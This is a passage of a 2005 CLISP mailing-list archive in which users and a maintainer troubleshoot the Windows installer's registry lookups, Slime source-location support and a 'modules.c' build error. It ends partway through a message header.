helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DCDUG-0006a2-Px for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 01:09:44 -0800 Received: from smartmx-02.inode.at ([213.229.60.34]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1DCDUE-0007an-DM for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 01:09:44 -0800 Received: from [195.58.170.126] (port=60599 helo=x-ray.at) by smartmx-02.inode.at with smtp (Exim 4.34) id 1DCDUA-0006EJ-Nb; Fri, 18 Mar 2005 10:09:38 +0100 Received: from 157.247.252.11 (proxying for unknown) (SquirrelMail authenticated user ru#x-ray.at) by webmail.inode.at with HTTP; Fri, 18 Mar 2005 10:09:39 +0100 (CET) Message-ID: <157.247.252.11.1111136979.wm@webmail.inode.at> Subject: RE: [clisp-list] Clisp and Slime From: "Reini Urban" To: In-Reply-To: <712A2DEC228C7448978CBD7A7AD5B0902BA795@fever.wardrobe.irobot.com> References: <712A2DEC228C7448978CBD7A7AD5B0902BA795@fever.wardrobe.irobot.com> X-Priority: 3 Importance: Normal Cc: , X-Mailer: SquirrelMail (version 1.2.8) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 18 01:10:48 2005 X-Original-Date: Fri, 18 Mar 2005 10:09:39 +0100 (CET) >> From: clisp-list-admin@lists.sourceforge.net >> [mailto:clisp-list-admin@lists.sourceforge.net] On Behalf Of >> Andrew Stebakov >> Sent: Thursday, March 17, 2005 1:29 PM >> >> I am starting with CLisp on Windows and use Slime + XEmacs as IDE. >> Cannot find source for frame: #
T >> #
>> >> So my question is: >> What can I do to make it work? >> If I am using the wrong set of tools for CLisp on Windows >> what tools I can look at as IDE? > > To the best of my knowledge, Slime only supports what's available in the > lisp environment it's running in. Since Clisp doesn't support getting > to the source code of an error, Slime can't. When I checked into it > last, there were no open source lisp implementations for Windows that > had this feature. CMUCL/SBCL have this feature, but there is no windows > version of either of them (though SBCL has one in progress). Well, CormanLisp supports this feature technically, comes with full source, but there are no Slime hooks yet. No problem though. Just a matter of some hours work. > To make it work, you (or someone else) would have to add support to > Clisp for going from a frame to a source line. -- Reini Urban http://phpwiki.org/ http://xarch.tu-graz.ac.at/home/rurban/ From lin8080@freenet.de Fri Mar 18 02:26:47 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DCEgj-00028t-Il for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 02:26:41 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DCEgi-000745-SE for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 02:26:41 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout2.freenet.de with esmtpa (Exim 4.51) id 1DCEgb-0005il-Gi for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 11:26:33 +0100 Received: from d3bf4.d.pppool.de ([80.184.59.244] helo=freenet.de) by mx3.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:EXP1024-RC4-SHA:128) (Exim 4.43 #13) id 1DCEga-0005aP-AY for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 11:26:33 +0100 Message-ID: <423AAC4E.2AA27570@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <4233A995.D6CE7A9@freenet.de> <423A0158.300ED526@freenet.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: woe32 pretest: clisp 2.33.82 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 18 02:27:39 2005 X-Original-Date: Fri, 18 Mar 2005 11:24:14 +0100 Sam Steingold schrieb: > > * lin8080 [2005-03-17 23:14:48 +0100]: > > EVAL frame for form (DIR-KEY-VALUE KEY "Common Programs") > please open regedit and find out what needs to be changed in 3 Entries, none with lisp :( In ~\\Explorer\\Desktop Trash is set, nothing else ("Eigene Dateien" is removed) > (with-dir-key-open (key :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" :direction :input) > (setq desktop (dir-key-value key "Common Desktop") > programs (dir-key-value key "Common Programs"))) *********************************** Break 1 [7]> :a [8]> (with-dir-key-open (key :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" :direction :input) (setq desktop (dir-key-value key "Common Desktop") programs (dir-key-value key "Common Programs"))) *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. The following restarts are available: ABORT :R1 ABORT Break 1 [9]> :r1 [10]> *********************************** > what's your woe version? *********************************** [10]> (os:version) # [11]> *********************************** System: (from controll panel) Microsoft Windows 98 Zweite Ausgabe ;(second Edition) 4.10.2222 A ... AuthenticAMD AMD Athlon(tm) 768,0MB RAM Standart install from CD-ROM, Firewall and Antivir Software runing. Sorry, after regedit it is no more a standart...reboting. Well, I download 2.33.83 now and look at it. Thank you. stefan From lin8080@freenet.de Fri Mar 18 03:54:35 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DCG3n-0006H3-D1 for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 03:54:35 -0800 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DCG3k-0001JA-Dp for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 03:54:35 -0800 Received: from [194.97.55.148] (helo=mx5.freenet.de) by mout1.freenet.de with esmtpa (Exim 4.51) id 1DCG3d-00076h-Gj for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 12:54:25 +0100 Received: from be7c5.b.pppool.de ([213.7.231.197] helo=freenet.de) by mx5.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:EXP1024-RC4-SHA:128) (Exim 4.43 #13) id 1DCG3b-0008T7-VN for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 12:54:25 +0100 Message-ID: <423AC0A6.DCC528E3@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: woe32 pretest: clisp 2.33.83 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 18 03:55:24 2005 X-Original-Date: Fri, 18 Mar 2005 12:51:02 +0100 Sam Steingold schrieb: > yet another pre-test, hopefully fixing the reported problems. > > please try woe32 pretest: > > Download the zip, extract with winzip on c:\ and doubleclick on install.bat. (do a backup restore with system.dat and user.dat to have a clean one) ******************************* +----------------------------------------------------------+ I this will install CLISP on your system, I I associating file types FAS, MEM and LISP with CLISP. I I it will also create a shortcut to CLISP on your desktop. I I press C-c to abort I +----------------------------------------------------------+ Weiter mit beliebiger Taste . . . * Installing CLISP to run from C:\clisp-2.33.83\ Use the `full' linking set? (y/n) y Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP? (y/n) y associating CLISP with Lisp files under "HKEY_CLASSES_ROOT" associating CLISP with FAS files under "HKEY_CLASSES_ROOT" associating CLISP with MEM files under "HKEY_CLASSES_ROOT" *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file specified. Weiter mit beliebiger Taste . . . ******************************** doubleclick than on clisp.exe does what expected: ******************************** i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 [1]> ******************************** Is that all? y: Than nice :))) n: consulting the readme.... question: no more (saveinitmem) and co? What about edit config.lisp? (well I'll do so, HyperSpec is on local harddrive and line 41 is still: #"C:\\CLISP\\**\\") ; then in all subdirectories under C:\CLISP). Please update that also. (mh, guess I do a folder rename on c:\ -there can only be one) In regedit the *.lisp, *.fas,... is include. To run it with a doubleclick it needs an asociation with a *.exe file, means an entrie like: HKYE_CLASSES_ROOT .cl shell open command ;;new key "C:\clisp-2.33.83\clisp.exe%1" and a reboot. Now I create a Icon to clisp.exe, it works. This way it starts quicker than the former handmade one. Thank you. stefan From sds@gnu.org Fri Mar 18 06:36:59 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DCIaw-0006Se-1n for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 06:36:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DCIat-0008Uw-Iq for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 06:36:57 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2IEZ5gq025787; Fri, 18 Mar 2005 09:35:05 -0500 (EST) To: clisp-list@lists.sourceforge.net, lin8080 Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <423AAC4E.2AA27570@freenet.de> (lin's message of "Fri, 18 Mar 2005 11:24:14 +0100") References: <4233A995.D6CE7A9@freenet.de> <423A0158.300ED526@freenet.de> <423AAC4E.2AA27570@freenet.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, lin8080 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: woe32 pretest: clisp 2.33.82 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 18 06:38:23 2005 X-Original-Date: Fri, 18 Mar 2005 09:36:31 -0500 > * lin8080 [2005-03-18 11:24:14 +0100]: > >> (with-dir-key-open (key :win32 "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders" :direction :input) >> (setq desktop (dir-key-value key "Common Desktop") >> programs (dir-key-value key "Common Programs"))) you need to find out where in the registry one can find your desktop and common programs. open regedit. go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders do you have "Common Programs"? "Common Desktop"? if the above key does not exist, what does? How about HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders do a search for "common desktop" and "common programs". thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Marriage is the sole cause of divorce. From hin@van-halen.alma.com Fri Mar 18 09:32:05 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DCLKO-0007Rf-3B for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 09:32:04 -0800 Received: from carbine.dsl.net ([65.84.81.3]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DCLKL-0005GD-JT for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 09:32:04 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by carbine.dsl.net (Postfix) with ESMTP id 267F91020DA for ; Fri, 18 Mar 2005 12:31:59 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id j2IHVxpI031936 for ; Fri, 18 Mar 2005 12:31:59 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id j2IHVxfe031933; Fri, 18 Mar 2005 12:31:59 -0500 Message-Id: <200503181731.j2IHVxfe031933@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Build error on CVS head Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 18 09:32:46 2005 X-Original-Date: Fri, 18 Mar 2005 12:31:59 -0500 I'm getting an error building a fresh CVS checkout. It cannot compile "modules.c". Here are the last few lines from make make log: >> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I. -fPIC -I/h/pkg/clisp/mysrc -c modules.c >> In file included from modules.d:35: >> modules.h:5: error: conflicting types for 'module__syscalls__subr_tab' >> modules.h:3: error: previous declaration of 'module__syscalls__subr_tab' was here >> modules.h:5: error: conflicting types for 'module__syscalls__subr_tab' >> modules.h:3: error: previous declaration of 'module__syscalls__subr_tab' was here >> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DDYNAMIC_MODULES -DNO_SIGSEGV -I. -fPIC -x none -Wl,-export-dynamic modules.o fastcgi.o fastcgi_wrappers.o -lfcgi oracle.o oiface.o orafns.o -L /usr/local/oracle/lib -lclntsh -ldl -lpthread -lm linux.o -lm wildcard.o calls.o -lcrypt -lm regexi.o regex.o calls.o -lcrypt -lm gettext.o lisp.a libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run >> gcc: modules.o: No such file or directory >> base/lisp.run -B . -M base/lispinit.mem -norc -q -i syscalls/preload.lisp -x (saveinitmem "full/lispinit.mem") >> ;; Loading file syscalls/preload.lisp ... >> WARNING: MAKE-PACKAGE: a package with name "POSIX" already exists. >> >> return the existing package >> ;; Loaded file syscalls/preload.lisp >> 1766632 ; >> 883316 >> full/lisp.run -B . -M full/lispinit.mem -norc -q -i syscalls/posix -i wildcard/wildcard -i bindings/glibc/linux -i bindings/glibc/wrap -i oracle/oracle -i fastcgi/fastcgi -x (saveinitmem "full/lispinit.mem") >> ./clisp-link: full/lisp.run: No such file or directory >> make: *** [full] Error 1 Note also that it doesnt' seem to detect the problem and forges ahead. This is only building "full" - the "base" builds OK Here is my build command: ./configure \ --with-readline \ --with-dynamic-ffi \ --with-dynamic-modules \ --with-module=syscalls \ --with-module=wildcard \ --with-module=bindings/glibc \ --with-module=oracle \ --with-module=fastcgi \ --build mysrc ideas? thanks, jh From sds@gnu.org Fri Mar 18 11:06:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DCMnb-0003ya-QE for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 11:06:19 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DCMnZ-0006b4-VC for clisp-list@lists.sourceforge.net; Fri, 18 Mar 2005 11:06:19 -0800 Received: from WINSTEINGOLDLAP ([10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2IJ4GD9004519; Fri, 18 Mar 2005 14:04:18 -0500 (EST) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200503181731.j2IHVxfe031933@van-halen.alma.com> (John K. Hinsdale's message of "Fri, 18 Mar 2005 12:31:59 -0500") References: <200503181731.j2IHVxfe031933@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Build error on CVS head Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 18 11:06:51 2005 X-Original-Date: Fri, 18 Mar 2005 14:05:43 -0500 > * John K. Hinsdale [2005-03-18 12:31:59 -0500]: > > ./configure \ > --with-readline \ > --with-dynamic-ffi \ > --with-dynamic-modules \ > --with-module=syscalls \ syscalls is a part of base now. you always get it. > --with-module=wildcard \ > --with-module=bindings/glibc \ > --with-module=oracle \ > --with-module=fastcgi \ > --build mysrc -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. From lin8080@freenet.de Sun Mar 20 11:08:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DD5mK-0001nw-Sg for clisp-list@lists.sourceforge.net; Sun, 20 Mar 2005 11:08:00 -0800 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DD5mJ-0006zQ-Bw for clisp-list@lists.sourceforge.net; Sun, 20 Mar 2005 11:08:00 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout2.freenet.de with esmtpa (Exim 4.51) id 1DD5mB-0000hJ-F1 for clisp-list@lists.sourceforge.net; Sun, 20 Mar 2005 20:07:51 +0100 Received: from d3bfa.d.pppool.de ([80.184.59.250] helo=freenet.de) by mx3.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:EXP1024-RC4-SHA:128) (Exim 4.43 #13) id 1DD5mA-0003nU-Fy for clisp-list@lists.sourceforge.net; Sun, 20 Mar 2005 20:07:51 +0100 Message-ID: <423DC721.47195F9B@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: woe32 pretest: clisp 2.33.82 References: <4233A995.D6CE7A9@freenet.de> <423A0158.300ED526@freenet.de> <423AAC4E.2AA27570@freenet.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 20 11:08:16 2005 X-Original-Date: Sun, 20 Mar 2005 19:55:29 +0100 Sam Steingold schrieb: > > * lin8080 [2005-03-18 11:24:14 +0100]: > you need to find out where in the registry one can find your desktop and > common programs. > open regedit. > go to > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders > do you have "Common Programs"? "Common Desktop"? There is: Common AppData (--> Common Programs?) Common Desktop Common Startup All set values link to c:\WINDOWS\All Users\... folder in the window-path Else there is: Shell Icons, ShellExecuteHooks, (all Standart, no value set) and ShellIconOverlayIdentifiers (one key set there) > if the above key does not exist, what does? Search for "Common Programs" returned nothing, for "Common" over 20 results, (there is a folder in C:\Programme/Gemeinsame Dateien (CommonFolderDir).) Search for clisp returns: have an entrie in HKEY_LOCAL-MACHINE - for .lisp (execute-command: clisp.exe) - for fasfile (links to clisp.exe -K full "%1") (2. to ~~full -i) - for lispfile (links to clisp.exe -K full -c "%1") - for memfile (links to clisp.exe -K full -M "%1") - and some MRUs (not important) > How about > HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders > do a search for "common desktop" and "common programs". There is: (Standart) (Wert nicht gesetzt) (--> value not set) > thanks. jo Someone send me a virus (Trojan-Spy.HTML.Paylap...... nice keylogger i guess, Alexa dataminer was found). So, it can take some time till the provider cleaned it up. bye stefan From sds@gnu.org Sun Mar 20 15:46:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDA7H-0006JL-Mn for clisp-list@lists.sourceforge.net; Sun, 20 Mar 2005 15:45:55 -0800 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DDA7C-0001tB-F2 for clisp-list@lists.sourceforge.net; Sun, 20 Mar 2005 15:45:55 -0800 Received: from 65-78-14-94.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) (65.78.14.94) by smtp04.mrf.mail.rcn.net with ESMTP; 20 Mar 2005 18:45:50 -0500 To: clisp-list@lists.sourceforge.net, lin8080 Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <423DC721.47195F9B@freenet.de> (lin's message of "Sun, 20 Mar 2005 19:55:29 +0100") References: <4233A995.D6CE7A9@freenet.de> <423A0158.300ED526@freenet.de> <423AAC4E.2AA27570@freenet.de> <423DC721.47195F9B@freenet.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, lin8080 Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: woe32 pretest: clisp 2.33.82 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Mar 20 15:46:59 2005 X-Original-Date: Sun, 20 Mar 2005 18:45:28 -0500 > * lin8080 [2005-03-20 19:55:29 +0100]: > >> HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders >> do you have "Common Programs"? "Common Desktop"? > > There is: > Common AppData (--> Common Programs?) > Common Desktop > Common Startup > > All set values link to c:\WINDOWS\All Users\... folder in the > window-path which one points to ... \All Users\Start Menu\Programs? -- Sam Steingold (http://www.podval.org/~sds) running w2k Vegetarians eat Vegetables, Humanitarians are scary. From pjb@informatimago.com Mon Mar 21 16:04:05 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DDWsP-0000ON-Fz for clisp-list@lists.sourceforge.net; Mon, 21 Mar 2005 16:04:05 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DDWsN-0006lJ-K3 for clisp-list@lists.sourceforge.net; Mon, 21 Mar 2005 16:04:05 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 890AC5833D; Tue, 22 Mar 2005 01:05:06 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 79CD310FC26; Tue, 22 Mar 2005 01:05:06 +0100 (CET) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, 